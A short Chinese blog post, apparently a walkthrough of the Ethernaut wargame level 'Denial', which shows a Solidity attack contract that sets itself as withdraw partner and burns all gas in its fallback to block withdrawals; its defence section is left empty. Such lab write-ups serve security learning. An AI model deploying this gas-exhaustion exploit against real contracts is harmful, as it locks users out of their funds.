# 智能合约黑客攻击 Ethernaut:  
 20. Denial

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

阻止其他人调用 withdraw() 方法。

Hack思路
------

给owner转钱之前会给 partner 转，可以在 partner 合约中的 receive() 中把 Gas 耗光。

    interface IDenial {
        function setWithdrawPartner(address _partner) external;
    }
    
    contract _loop { }
    
    contract DenialHack {
        constructor(address _target) {
            IDenial exploitInst = IDenial(_target);
            exploitInst.setWithdrawPartner(address(this));
        }
    
        fallback() external payable {
            // 死循环去耗光 Gas
            while (true) new _loop();
        }
    }
    

Hack案例
------

…

防范思路
----

…

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-20-denial)*
